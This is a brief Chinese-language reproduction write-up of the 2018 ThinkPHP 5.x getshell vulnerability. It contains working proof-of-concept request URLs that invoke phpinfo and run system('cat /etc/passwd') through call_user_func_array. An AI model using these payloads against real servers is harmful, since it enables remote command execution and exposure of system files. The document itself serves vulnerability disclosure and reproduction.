漏洞简介

2018年12月10日中午,thinkphp官方公众号发布了一个更新通知,包含了一个5.x系列所有版本存在被getshell的高风险漏洞。

图片

漏洞原理

结合官方公告说的由于对控制器名没有足够的检测,再查看官方git commit信息

图片

复现过程

通过phpinfo函数写出phpinfo()的信息

POC:

1
2
通过phpinfo函数写出phpinfo()的信息
index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

图片

利用system函数远程命令执行

POC:

1
2
利用system函数远程命令执行读取/etc/passwd
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/etc/passwd

图片